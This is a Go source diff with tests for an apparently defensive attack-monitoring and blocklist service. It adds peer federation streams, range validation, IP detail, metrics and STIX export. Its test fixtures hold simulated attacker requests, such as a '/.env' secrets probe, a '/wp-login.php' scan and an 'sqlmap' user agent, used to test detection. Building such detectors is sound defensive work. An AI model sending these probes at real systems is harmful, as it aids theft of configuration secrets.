remote := store.New(store.Config{Name: "remote"})
strongHits(remote, "45.94.31.7") // only the peer saw it
rs := httptest.NewServer(New(Options{Token: utok, PeerTokens: []string{ptk}, Store: remote}))
defer rs.Close()
p, _ := fed.ParsePeer("edge=" + rs.URL)
hub := fed.NewHub([]fed.Peer{p}, ptk)
hub.Refresh(context.Background())
for _, off := range []bool{false, true} {
st := store.New(store.Config{Name: "o"})
strongHits(st, "45.94.31.5")
hh := New(Options{Token: utok, Store: st, Hub: hub, LocalBlocklist: off})
w := do(hh, "GET", "/api/v1/blocklist.txt", map[string]string{"Authorization": "Bearer " + utok}, nil)
b := w.Body.String()
if w.Code != 200 || !strings.Contains(b, "45.94.31.5") {
t.Fatalf("off=%v: local IP missing: %d %s", off, w.Code, b)
}
if has := strings.Contains(b, "45.94.31.7"); has == off {
t.Fatalf("off=%v: peer-only IP listed=%v: %s", off, has, b)
}
}
}
+232 -48
View File
@@ -11,6 +11,7 @@ import (
"net/http"
"net/netip"
"net/url"
"regexp"
"sort"
"strconv"
"strings"
@@ -29,6 +30,9 @@ var webFS embed.FS
// maxSSE bounds the simultaneous live streams.
const maxSSE = 20
// maxPeerSSE bounds the simultaneous hub subscriptions to /api/v1/peer/stream.
const maxPeerSSE = 10
// sseHeartbeat is how often a live stream pings and revalidates its session.
var sseHeartbeat = 20 * time.Second
@@ -58,10 +62,12 @@ type Options struct {
PeerAllow []netip.Prefix
TrustedProxy []netip.Prefix
NoAuth bool
Version string
Store *store.Store
Hub *fed.Hub
Now func() time.Time
// LocalBlocklist makes the blocklist use only this instance's IPs (--peer-blocklist=off).
LocalBlocklist bool
Version string
Store *store.Store
Hub *fed.Hub
Now func() time.Time
}
// Server is the HTTP handler.
@@ -73,6 +79,10 @@ type Server struct {
lim *limiter
mux *http.ServeMux
assets fs.FS
geo geoCache
psse atomic.Int32
study chan struct{}
user chan struct{} // user-side studies (period, metrics) running at once
}
// New builds the handler.
@@ -81,22 +91,29 @@ func New(opt Options) http.Handler {
opt.Now = time.Now
}
sub, _ := fs.Sub(webFS, "web")
s := &Server{opt: opt, ses: newSessions(), lim: newLimiter(), mux: http.NewServeMux(), assets: sub}
s := &Server{opt: opt, ses: newSessions(), lim: newLimiter(), mux: http.NewServeMux(), assets: sub, study: make(chan struct{}, 2), user: make(chan struct{}, 4)}
m := s.mux
m.HandleFunc("GET /api/health", s.health)
m.HandleFunc("GET /login", s.loginPage)
m.HandleFunc("POST /login", s.login)
m.HandleFunc("POST /logout", s.logout)
m.HandleFunc("GET /{$}", s.index)
for _, f := range []string{"/style.css", "/app.js", "/i18n.js", "/login.js", "/logo.png", "/favicon.png", "/world.js"} {
name := strings.TrimPrefix(f, "/")
m.HandleFunc("GET "+f, func(w http.ResponseWriter, r *http.Request) { s.static(w, r, name) })
}
m.HandleFunc("GET /{file}", s.asset)
m.HandleFunc("GET /api/v1/peer/export", s.peerExport)
m.HandleFunc("GET /api/v1/peer/stream", s.peerStream)
m.HandleFunc("GET /api/v1/peer/period", s.peerPeriod)
m.HandleFunc("GET /api/v1/geo", s.api(s.geoAPI))
m.HandleFunc("GET /api/v1/live/recent", s.api(s.liveRecent))
m.HandleFunc("GET /api/v1/summary", s.api(s.summary))
m.HandleFunc("GET /api/v1/traffic", s.api(s.traffic))
m.HandleFunc("GET /api/v1/ips", s.api(s.ips))
m.HandleFunc("GET /api/v1/ip/{ip}", s.api(s.ipDetail))
m.HandleFunc("GET /api/v1/period", s.api(s.periodAPI))
m.HandleFunc("GET /api/v1/period/events", s.api(s.periodEvents))
m.HandleFunc("GET /api/v1/metrics", s.api(s.metricsAPI))
m.HandleFunc("GET /api/v1/ip/{ip}/stix", s.api(s.stixAPI))
m.HandleFunc("GET /api/v1/events", s.api(s.eventsAPI))
m.HandleFunc("GET /api/v1/events/sessions", s.api(s.sessionsAPI))
m.HandleFunc("GET /api/v1/events/stream", s.api(s.stream))
m.HandleFunc("GET /api/v1/blocklist.txt", s.api(s.blocklist(false)))
m.HandleFunc("GET /api/v1/blocklist.json", s.api(s.blocklist(true)))
@@ -174,7 +191,7 @@ func (s *Server) api(h http.HandlerFunc) http.HandlerFunc {
switch s.authKind(r) {
case "session", "bearer":
case "peer":
writeJSON(w, http.StatusForbidden, map[string]string{"error": "the peer token only opens /api/v1/peer/export"})
writeJSON(w, http.StatusForbidden, map[string]string{"error": "the peer token only opens /api/v1/peer/export, /api/v1/peer/stream and /api/v1/peer/period"})
return
default:
ip := clientIP(r, s.opt.TrustedProxy)
@@ -220,17 +237,18 @@ type exportCache struct {
v map[string][]byte
}
// peerExport is the only route the peer token opens: GET /api/v1/peer/export.
func (s *Server) peerExport(w http.ResponseWriter, r *http.Request) {
// peerGate admits only the federation token (and --peer-allow sources); it
// answers the request itself and returns false when it refuses.
func (s *Server) peerGate(w http.ResponseWriter, r *http.Request) bool {
if len(s.opt.PeerTokens) == 0 && !s.opt.NoAuth {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "federation is not enabled"})
return
return false
}
if len(s.opt.PeerAllow) > 0 {
a, err := netip.ParseAddr(clientIP(r, s.opt.TrustedProxy))
if err != nil || !prefixesContain(s.opt.PeerAllow, a) {
writeJSON(w, http.StatusForbidden, map[string]string{"error": "source not allowed"})
return
return false
}
}
if !s.opt.NoAuth && s.authKind(r) != "peer" {
@@ -239,17 +257,41 @@ func (s *Server) peerExport(w http.ResponseWriter, r *http.Request) {
}
w.Header().Set("WWW-Authenticate", `Bearer realm="urutau-peer"`)
writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "unauthorized"})
return false
}
return true
}
// rangeOf resolves the range parameters of a request (range, from, to); it
// answers 400 itself and returns false on garbage.
func (s *Server) rangeOf(w http.ResponseWriter, r *http.Request) (store.Range, bool) {
q := r.URL.Query()
rg, err := s.opt.Store.ResolveRange(q.Get("range"), q.Get("from"), q.Get("to"))
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return rg, false
}
return rg, true
}
// peerExport: GET /api/v1/peer/export, opened by the peer token.
func (s *Server) peerExport(w http.ResponseWriter, r *http.Request) {
if !s.peerGate(w, r) {
return
}
rg := store.ParseRange(r.URL.Query().Get("range")).Name
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
key := rg.Key()
s.exp.mu.Lock()
if s.exp.v == nil {
if s.exp.v == nil || len(s.exp.v) >= 24 {
s.exp.v, s.exp.at = map[string][]byte{}, map[string]time.Time{}
}
b, ok := s.exp.v[rg]
if !ok || time.Since(s.exp.at[rg]) > 5*time.Second {
b, _ = json.Marshal(s.opt.Store.Export(rg))
s.exp.v[rg], s.exp.at[rg] = b, time.Now()
b, ok := s.exp.v[key]
if !ok || time.Since(s.exp.at[key]) > 5*time.Second {
b, _ = json.Marshal(s.opt.Store.ExportFor(rg))
s.exp.v[key], s.exp.at[key] = b, time.Now()
}
s.exp.mu.Unlock()
w.Header().Set("Content-Type", "application/json; charset=utf-8")
@@ -267,6 +309,22 @@ func prefixesContain(ps []netip.Prefix, a netip.Addr) bool {
return false
}
var assetRe = regexp.MustCompile(`^[a-z0-9-]+\.(js|css|png|svg|json)$`)
// asset serves a top-level file of the embedded web directory by name.
func (s *Server) asset(w http.ResponseWriter, r *http.Request) {
name := r.PathValue("file")
if !assetRe.MatchString(name) {
http.NotFound(w, r)
return
}
if st, err := fs.Stat(s.assets, name); err != nil || !st.Mode().IsRegular() {
http.NotFound(w, r)
return
}
s.static(w, r, name)
}
func (s *Server) static(w http.ResponseWriter, r *http.Request, name string) {
b, err := fs.ReadFile(s.assets, name)
if err != nil {
@@ -281,6 +339,10 @@ func (s *Server) static(w http.ResponseWriter, r *http.Request, name string) {
ct = "text/javascript; charset=utf-8"
case strings.HasSuffix(name, ".png"):
ct = "image/png"
case strings.HasSuffix(name, ".svg"):
ct = "image/svg+xml"
case strings.HasSuffix(name, ".json"):
ct = "application/json; charset=utf-8"
case strings.HasSuffix(name, ".html"):
ct = "text/html; charset=utf-8"
}
@@ -376,10 +438,10 @@ func (s *Server) logout(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "/login", http.StatusSeeOther)
}
// hostSel is the "host" query parameter resolved.
func (s *Server) parts(rangeName, host string) (parts []store.Summary, all []store.HostInfo) {
// parts returns the summaries to merge for a host selection.
func (s *Server) parts(ctx context.Context, rg store.Range, host string) (parts []store.Summary, all []store.HostInfo) {
self := s.opt.Store.Name()
local := s.opt.Store.Summary(rangeName)
local := s.opt.Store.SummaryFor(rg)
all = append(all, local.Hosts...)
if s.opt.Hub != nil {
all = append(all, s.opt.Hub.Hosts()...)
@@ -392,27 +454,37 @@ func (s *Server) parts(rangeName, host string) (parts []store.Summary, all []sto
if host != "" && host != "all" {
only = host
}
parts = append(parts, s.opt.Hub.Summaries(rangeName, only)...)
parts = append(parts, s.opt.Hub.SummariesFor(ctx, rg, only)...)
}
return
}
func (s *Server) knownHost(w http.ResponseWriter, host string) bool {
if host != "all" && host != s.opt.Store.Name() && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
return false
}
return true
}
func (s *Server) summary(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
rg := store.ParseRange(q.Get("range")).Name
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
host := q.Get("host")
if host == "" {
host = "all"
}
if host != "all" && host != s.opt.Store.Name() && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
if !s.knownHost(w, host) {
return
}
parts, hosts := s.parts(rg, host)
parts, hosts := s.parts(r.Context(), rg, host)
var out store.Summary
switch len(parts) {
case 0:
out = store.Summary{Version: s.opt.Version, Host: host, Range: rg, Generated: s.opt.Now().Unix()}
out = store.Summary{Version: s.opt.Version, Host: host, Range: rg.Info(s.opt.Now().Unix()), Generated: s.opt.Now().Unix()}
default:
out = store.Merge(host, parts)
}
@@ -428,19 +500,22 @@ func (s *Server) summary(w http.ResponseWriter, r *http.Request) {
}
// allIPs returns the merged IP table for the requested host selection.
func (s *Server) allIPs(rangeName, host string) []store.IPSummary {
rg := store.ParseRange(rangeName)
func (s *Server) allIPs(ctx context.Context, rg store.Range, host string) []store.IPSummary {
return s.ipsOf(ctx, rg, host, false)
}
func (s *Server) ipsOf(ctx context.Context, rg store.Range, host string, localOnly bool) []store.IPSummary {
var lists [][]store.IPSummary
self := s.opt.Store.Name()
if host == "" || host == "all" || host == self {
lists = append(lists, s.opt.Store.AllIPs(rg, false))
}
if s.opt.Hub != nil && host != self {
if s.opt.Hub != nil && host != self && !localOnly {
only := ""
if host != "" && host != "all" {
only = host
}
for _, p := range s.opt.Hub.Summaries(rg.Name, only) {
for _, p := range s.opt.Hub.SummariesFor(ctx, rg, only) {
lists = append(lists, p.IPs)
}
}
@@ -449,7 +524,11 @@ func (s *Server) allIPs(rangeName, host string) []store.IPSummary {
func (s *Server) ips(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
list := s.allIPs(q.Get("range"), q.Get("host"))
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
list := s.allIPs(r.Context(), rg, q.Get("host"))
minScore, _ := strconv.ParseFloat(q.Get("min_score"), 64)
level, needle := q.Get("level"), strings.ToLower(strings.TrimSpace(q.Get("q")))
banned := q.Get("banned") == "1"
@@ -493,7 +572,7 @@ func (s *Server) ips(w http.ResponseWriter, r *http.Request) {
items[i].RDNS = s.opt.Store.RDNSOf(items[i].IP)
}
}
writeJSON(w, 200, map[string]any{"total": len(filtered), "page": page, "per": per, "items": items})
writeJSON(w, 200, map[string]any{"range": rg.Info(s.opt.Now().Unix()), "total": len(filtered), "page": page, "per": per, "items": items})
}
func (s *Server) ipDetail(w http.ResponseWriter, r *http.Request) {
@@ -502,6 +581,15 @@ func (s *Server) ipDetail(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "invalid ip"})
return
}
var rg store.Range
if q := r.URL.Query(); q.Get("range") == "" && q.Get("from") == "" && q.Get("to") == "" {
rg = store.Ranges["30d"]
} else {
var ok bool
if rg, ok = s.rangeOf(w, r); !ok {
return
}
}
ip := store.KeyOf(raw)
var lists [][]store.IPSummary
if d, ok := s.opt.Store.IP(ip); ok {
@@ -515,7 +603,7 @@ func (s *Server) ipDetail(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "not found"})
return
}
writeJSON(w, 200, m[0])
writeJSON(w, 200, s.buildIPDetail(m[0], ip, rg))
}
func (s *Server) stream(w http.ResponseWriter, r *http.Request) {
@@ -539,10 +627,27 @@ func (s *Server) stream(w http.ResponseWriter, r *http.Request) {
h.Set("X-Accel-Buffering", "no")
ch, stop := s.opt.Store.Subscribe()
defer stop()
var hubCh <-chan store.LiveEvent // nil blocks forever: no hub, no peer events
if s.opt.Hub != nil {
c, stopHub := s.opt.Hub.Subscribe()
defer stopHub()
hubCh = c
}
fmt.Fprint(w, "retry: 3000\n: connected\n\n")
fl.Flush()
tick := time.NewTicker(sseHeartbeat)
defer tick.Stop()
send := func(e store.LiveEvent) bool {
if k := s.authKind(r); k != "session" && k != "bearer" {
return false
}
b, _ := json.Marshal(e)
if _, err := fmt.Fprintf(w, "event: ev\ndata: %s\n\n", b); err != nil {
return false
}
fl.Flush()
return true
}
for {
select {
case <-r.Context().Done():
@@ -556,10 +661,63 @@ func (s *Server) stream(w http.ResponseWriter, r *http.Request) {
}
fl.Flush()
case e := <-ch:
if k := s.authKind(r); k != "session" && k != "bearer" {
if !send(s.opt.Store.Live(e)) {
return
}
b, _ := json.Marshal(e)
case e := <-hubCh:
if !send(e) {
return
}
}
}
}
// peerStream: GET /api/v1/peer/stream, SSE of this instance's own malicious
// events for a hub. Opened only by the peer token, like the export.
func (s *Server) peerStream(w http.ResponseWriter, r *http.Request) {
if !s.peerGate(w, r) {
return
}
fl, ok := w.(http.Flusher)
if !ok {
http.Error(w, "streaming unsupported", 500)
return
}
if s.psse.Add(1) > maxPeerSSE {
s.psse.Add(-1)
w.Header().Set("Retry-After", "10")
http.Error(w, "too many peer streams", http.StatusServiceUnavailable)
return
}
defer s.psse.Add(-1)
_ = http.NewResponseController(w).SetWriteDeadline(time.Time{})
h := w.Header()
h.Set("Content-Type", "text/event-stream")
h.Set("Cache-Control", "no-store")
h.Set("X-Accel-Buffering", "no")
ch, stop := s.opt.Store.Subscribe()
defer stop()
fmt.Fprint(w, "retry: 3000\n: connected\n\n")
fl.Flush()
tick := time.NewTicker(sseHeartbeat)
defer tick.Stop()
for {
select {
case <-r.Context().Done():
return
case <-tick.C:
if !s.opt.NoAuth && s.authKind(r) != "peer" {
return
}
if _, err := fmt.Fprint(w, ": ping\n\n"); err != nil {
return
}
fl.Flush()
case e := <-ch:
if !core.Category(e.Cat).IsMalicious() {
continue
}
b, _ := json.Marshal(s.opt.Store.Live(e))
if _, err := fmt.Fprintf(w, "event: ev\ndata: %s\n\n", b); err != nil {
return
}
@@ -568,6 +726,26 @@ func (s *Server) stream(w http.ResponseWriter, r *http.Request) {
}
}
// liveRecent: GET /api/v1/live/recent?limit=200 (max 500), newest first, local and peers.
func (s *Server) liveRecent(w http.ResponseWriter, r *http.Request) {
n, _ := strconv.Atoi(r.URL.Query().Get("limit"))
if n < 1 {
n = 200
}
if n > 500 {
n = 500
}
list := s.opt.Store.LiveRecent(n)
if s.opt.Hub != nil {
list = append(list, s.opt.Hub.Recent(n)...)
}
sort.SliceStable(list, func(i, j int) bool { return list[i].T > list[j].T })
if len(list) > n {
list = list[:n]
}
writeJSON(w, 200, map[string]any{"events": list})
}
func (s *Server) blocklist(asJSON bool) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
@@ -575,9 +753,13 @@ func (s *Server) blocklist(asJSON bool) http.HandlerFunc {
if v, err := strconv.ParseFloat(q.Get("min_score"), 64); err == nil && v >= 0 {
min = v
}
rangeName := q.Get("range")
if rangeName == "" {
rangeName = "7d"
if q.Get("range") == "" && q.Get("from") == "" {
q.Set("range", "7d")
r.URL.RawQuery = q.Encode()
}
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
// family=4 gives plain IPv4 addresses only (for ipset hash:ip and similar);
// family=6 gives only the IPv6 /64 prefixes; the default lists both.
@@ -586,7 +768,7 @@ func (s *Server) blocklist(asJSON bool) http.HandlerFunc {
family = "all"
}
var out []store.IPSummary
for _, x := range s.allIPs(rangeName, q.Get("host")) {
for _, x := range s.ipsOf(r.Context(), rg, q.Get("host"), s.opt.LocalBlocklist) {
if x.Score < min || !x.Strong || x.Admin {
continue
}
@@ -624,7 +806,7 @@ func (s *Server) blocklist(asJSON bool) http.HandlerFunc {
s.opt.Store.Enrich(&x)
rows = append(rows, row{x.IP, x.Score, x.Last, x.Hosts, x.CC, x.Country, x.City, x.ASN, x.ASOrg})
}
writeJSON(w, 200, map[string]any{"generated": s.opt.Now().Unix(), "min_score": min, "count": len(rows), "ips": rows})
writeJSON(w, 200, map[string]any{"generated": s.opt.Now().Unix(), "range": rg.Info(s.opt.Now().Unix()), "min_score": min, "count": len(rows), "ips": rows})
return
}
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
@@ -639,7 +821,10 @@ func (s *Server) blocklist(asJSON bool) http.HandlerFunc {
func (s *Server) traffic(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
rg := store.ParseRange(q.Get("range")).Name
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
domain := q.Get("domain")
if domain == "" {
domain = "all"
@@ -649,20 +834,19 @@ func (s *Server) traffic(w http.ResponseWriter, r *http.Request) {
host = "all"
}
self := s.opt.Store.Name()
if host != "all" && host != self && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
if !s.knownHost(w, host) {
return
}
var parts []store.TrafficData
if host == "all" || host == self {
parts = append(parts, s.opt.Store.TrafficSummary(rg, domain))
parts = append(parts, s.opt.Store.TrafficFor(rg, domain))
}
if s.opt.Hub != nil && host != self {
only := ""
if host != "all" {
only = host
}
parts = append(parts, s.opt.Hub.Traffic(rg, domain, only)...)
parts = append(parts, s.opt.Hub.TrafficFor(r.Context(), rg, domain, only)...)
}
out := store.MergeTraffic(host, parts)
out.Domain = domain
+1 -1
View File
@@ -253,7 +253,7 @@ func TestPeerTokenOnlyOpensExport(t *testing.T) {
peer := map[string]string{"Authorization": "Bearer peer-token-0123456789-abcdefghijklmnopq"}
user := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"}
for _, p := range []string{"/api/v1/summary", "/api/v1/traffic", "/api/v1/ip/45.94.31.4", "/api/v1/ips", "/api/v1/events/stream",
"/api/v1/blocklist.txt", "/api/v1/blocklist.json"} {
"/api/v1/blocklist.txt", "/api/v1/blocklist.json", "/api/v1/geo", "/api/v1/live/recent"} {
if w := do(h, "GET", p, peer, nil); w.Code != http.StatusForbidden {
t.Errorf("peer token on %s: %d (want 403)", p, w.Code)
}
+214
View File
@@ -0,0 +1,214 @@
package server
import (
"encoding/json"
"fmt"
"net/http"
"path/filepath"
"strings"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const (
userTok = "user-token-0123456789-abcdefghijklmnop"
peerTok = "peer-token-0123456789-abcdefghijklmnopq"
)
func setupLog(t *testing.T) (http.Handler, *store.Store, map[string]string) {
st := store.New(store.Config{Name: "oracle", Version: "test", Retention: 720 * time.Hour})
l, err := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
if err != nil {
t.Fatal(err)
}
st.SetEventLog(l)
now := time.Now()
for i := 0; i < 6; i++ {
st.Ingest(core.Event{Time: now.Add(-time.Duration(i) * time.Minute), IP: "45.94.31.4", Cat: core.Exploit, Strong: true, Status: 200, Bytes: 321, Source: "traefik",
Domain: "a.example", Method: "GET", Path: "/.env", UA: "sqlmap/1.7"})
}
st.Ingest(core.Event{Time: now.Add(-3 * time.Hour), IP: "45.94.31.9", Cat: core.Scanner, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/wp-login.php", Status: 404})
st.Ingest(core.Event{Time: now.Add(-time.Minute), IP: "45.94.31.4", Cat: core.Ban, Source: "fail2ban", Jail: "sshd"})
h := New(Options{Token: userTok, PeerTokens: []string{peerTok}, Version: "test", Store: st})
return h, st, map[string]string{"Authorization": "Bearer " + userTok}
}
func TestEveryRangeAndValidation(t *testing.T) {
h, _, auth := setupLog(t)
for _, rg := range store.RangeOrder {
for _, p := range []string{"summary", "traffic", "ips", "geo", "blocklist.json", "metrics"} {
if w := do(h, "GET", "/api/v1/"+p+"?range="+rg, cloneHdr(auth), nil); w.Code != 200 {
t.Errorf("%s range=%s: %d %s", p, rg, w.Code, w.Body)
}
}
}
now := time.Now().Unix()
if w := do(h, "GET", fmt.Sprintf("/api/v1/summary?from=%d", now-7200), cloneHdr(auth), nil); w.Code != 200 {
t.Fatalf("custom: %d", w.Code)
}
var m map[string]any
w := do(h, "GET", fmt.Sprintf("/api/v1/summary?from=%d&to=%d", now-7200, now-60), cloneHdr(auth), nil)
json.Unmarshal(w.Body.Bytes(), &m)
rg := m["range"].(map[string]any)
if rg["from"].(float64) != float64(now-7200) || rg["clipped"] != false || rg["name"] != "custom" {
t.Fatalf("range object %v", rg)
}
w = do(h, "GET", fmt.Sprintf("/api/v1/summary?from=%d", now-60*86400), cloneHdr(auth), nil)
if w.Code != 400 {
t.Fatalf("over 30 days: %d", w.Code)
}
st := store.New(store.Config{Name: "o", Retention: 48 * time.Hour})
h2 := New(Options{Token: userTok, Version: "t", Store: st})
w = do(h2, "GET", fmt.Sprintf("/api/v1/summary?from=%d&to=%d", now-5*86400, now-86400), cloneHdr(auth), nil)
json.Unmarshal(w.Body.Bytes(), &m)
if w.Code != 200 || m["range"].(map[string]any)["clipped"] != true {
t.Fatalf("clipped: %d %s", w.Code, w.Body)
}
for _, bad := range []string{"range=4h", "range=%00", "from=abc", "from=1&to=1", "to=100", "from=-1", "range=7d&from=x", "from=99999999999999999999"} {
for _, p := range []string{"summary", "traffic", "ips", "geo", "blocklist.txt", "events", "events/sessions", "period", "metrics", "ip/45.94.31.4"} {
if w := do(h, "GET", "/api/v1/"+p+"?"+bad, cloneHdr(auth), nil); w.Code != 400 {
t.Errorf("%s?%s must be 400, got %d", p, bad, w.Code)
}
}
}
}
func TestEventsAPI(t *testing.T) {
h, _, auth := setupLog(t)
m := getJSON(t, h, "/api/v1/events?limit=3", auth)
evs := m["events"].([]any)
if len(evs) != 3 || m["next"] == "" || m["total_estimate"].(float64) < 8 {
t.Fatalf("page %v", m)
}
first := evs[0].(map[string]any)
if first["host"] != "oracle" || first["id"] == nil || first["t"] == nil {
t.Fatalf("event %v", first)
}
// walk all pages, newest first
seen, cur := 0, ""
var lastT float64 = 1e18
for i := 0; i < 10; i++ {
m = getJSON(t, h, "/api/v1/events?limit=3&cursor="+cur, auth)
for _, e := range m["events"].([]any) {
tt := e.(map[string]any)["t"].(float64)
if tt > lastT {
t.Fatal("descending order broken")
}
lastT = tt
seen++
}
if m["next"] == "" {
break
}
cur = m["next"].(string)
}
if seen != 8 {
t.Fatalf("paged %d events", seen)
}
if m = getJSON(t, h, "/api/v1/events?order=asc&ip=45.94.31.9&cat=scanner", auth); len(m["events"].([]any)) != 1 {
t.Fatalf("filters %v", m)
}
if m = getJSON(t, h, "/api/v1/events?q=SQLMAP&host=oracle", auth); len(m["events"].([]any)) != 6 {
t.Fatalf("q filter: %v", len(m["events"].([]any)))
}
for _, bad := range []string{"limit=0", "limit=x", "order=up", "cat=nope", "ip=zzz", "cursor=!!", "host=" + strings.Repeat("a", 100)} {
if w := do(h, "GET", "/api/v1/events?"+bad, cloneHdr(auth), nil); w.Code != 400 {
t.Errorf("%s: %d", bad, w.Code)
}
}
if m = getJSON(t, h, "/api/v1/events?limit=99999", auth); len(m["events"].([]any)) != 8 {
t.Fatal("limit must clamp to 5000")
}
ss := getJSON(t, h, "/api/v1/events/sessions?gap=900", auth)["sessions"].([]any)
if len(ss) != 2 || ss[0].(map[string]any)["ip"] != "45.94.31.9" {
t.Fatalf("sessions %v", ss)
}
if w := do(h, "GET", "/api/v1/events/sessions?gap=5", cloneHdr(auth), nil); w.Code != 400 {
t.Fatal("gap")
}
// the peer token opens none of the new routes
peer := map[string]string{"Authorization": "Bearer " + peerTok}
for _, p := range []string{"events", "events/sessions", "period", "period/events", "metrics", "ip/45.94.31.4", "ip/45.94.31.4/stix"} {
if w := do(h, "GET", "/api/v1/"+p, cloneHdr(peer), nil); w.Code != 403 {
t.Errorf("%s with the peer token: %d", p, w.Code)
}
if w := do(h, "GET", "/api/v1/"+p, nil, nil); w.Code != 401 {
t.Errorf("%s without auth: %d", p, w.Code)
}
}
pe := getJSON(t, h, "/api/v1/period/events?limit=2", auth)
if len(pe["events"].([]any)) != 2 {
t.Fatal("period events")
}
if a, b := pe["events"].([]any)[0].(map[string]any)["t"].(float64), pe["events"].([]any)[1].(map[string]any)["t"].(float64); a > b {
t.Fatal("replay is ascending")
}
}
func TestIPDetailPeriodMetricsAndSTIX(t *testing.T) {
h, _, auth := setupLog(t)
d := getJSON(t, h, "/api/v1/ip/45.94.31.4", auth)
for _, k := range []string{"ip", "score", "level", "first", "last", "counts", "timeline", "hosts", "domains", "statuses", "methods", "paths", "uas", "users", "jails",
"ban_history", "score_breakdown", "strong_reasons", "sessions", "neighbors", "blocklisted", "admin", "verdict", "exposure", "actions", "identity", "geo", "time",
"cadence", "techniques", "families", "targets", "tools", "ssh", "status_hist", "related", "bans", "ttb_s", "blocklist", "links", "range"} {
if _, ok := d[k]; !ok {
t.Errorf("ip detail misses %q", k)
}
}
paths := d["paths"].([]any)
if len(paths) != 1 || paths[0].(map[string]any)["n"].(float64) != 6 {
t.Fatalf("paths %v", paths)
}
if u := d["uas"].([]any); len(u) != 1 || u[0].(map[string]any)["key"] != "sqlmap/1.7" {
t.Fatalf("uas %v", u)
}
if d["blocklisted"] != true && d["score"].(float64) >= 50 {
t.Fatalf("blocklisted %v", d["blocklisted"])
}
if len(d["exposure"].([]any)) == 0 || len(d["ban_history"].([]any)) != 1 {
t.Fatalf("exposure/ban %v %v", d["exposure"], d["ban_history"])
}
v := d["verdict"].(map[string]any)
if len(v["reasons"].([]any)) == 0 || v["level"] != "hostile" {
t.Fatalf("verdict %v", v)
}
if len(d["links"].(map[string]any)) != 7 {
t.Fatal("links")
}
p := getJSON(t, h, "/api/v1/period", auth)
if p["sessions_n"].(float64) != 2 || p["events_cursor"] == "" {
t.Fatalf("period %v", p)
}
for _, k := range []string{"sessions", "campaigns", "first_seen_technique", "escalations", "spikes", "new_vs_returning", "top_targets", "top_fams", "top_techs", "top_users", "top_asns"} {
if _, ok := p[k]; !ok {
t.Errorf("period misses %q", k)
}
}
mt := getJSON(t, h, "/api/v1/metrics?range=24h", auth)
for _, k := range []string{"attacks_per_hour_24h", "moving_avg_7d_per_hour", "trend", "active_attackers_24h", "active_attackers_1h", "new_attackers", "returning_rate",
"sessions_per_day", "exposure_rate", "exploits_refused_pct", "mttb", "ban_coverage", "blocklist_coverage", "blocklist_leak", "ssh", "concentration"} {
if _, ok := mt[k]; !ok {
t.Errorf("metrics misses %q", k)
}
}
for _, k := range []string{"value", "prev", "delta_pct", "spark"} {
if _, ok := mt["attacks_per_hour_24h"].(map[string]any)[k]; !ok {
t.Errorf("metric misses %q", k)
}
}
w := do(h, "GET", "/api/v1/ip/45.94.31.4/stix", cloneHdr(auth), nil)
if w.Code != 200 || !strings.HasPrefix(w.Header().Get("Content-Type"), "application/stix+json;version=2.1") || !strings.Contains(w.Header().Get("Content-Disposition"), "attachment") ||
!strings.Contains(w.Body.String(), `"type":"bundle"`) && !strings.Contains(w.Body.String(), `"type": "bundle"`) {
t.Fatalf("stix %d %s", w.Code, w.Header())
}
if w := do(h, "GET", "/api/v1/ip/1.2.3.4/stix", cloneHdr(auth), nil); w.Code != 404 {
t.Fatal("unknown ip stix")
}
if w := do(h, "GET", "/api/v1/ip/not-an-ip/stix", cloneHdr(auth), nil); w.Code != 400 {
t.Fatal("bad ip stix")
}
}
+95
View File
@@ -0,0 +1,95 @@
package server
import (
"encoding/json"
"net/http"
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
type fakeRDNS struct{ calls *int }
func (fakeRDNS) Lookup(string) string { return "" }
func (f fakeRDNS) FCrDNS(ip string, suffixes []string) bool {
*f.calls++
return ip == "66.249.66.1" && suffixes[0] == "googlebot.com"
}
func TestIPDetailGapsClosed(t *testing.T) {
st := store.New(store.Config{Name: "oracle", Version: "t", Retention: 720 * time.Hour, AdminUsers: []string{"lucas"}})
l, _ := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
st.SetEventLog(l)
calls := 0
st.SetRDNS(fakeRDNS{&calls})
now := time.Now()
// a crawler that claims to be Googlebot: verified; a plain scanner: null
st.Ingest(core.Event{Time: now, IP: "66.249.66.1", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, UA: "Mozilla/5.0 (compatible; Googlebot/2.1)"})
st.Ingest(core.Event{Time: now, IP: "6.6.6.6", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, UA: "Googlebot/2.1"})
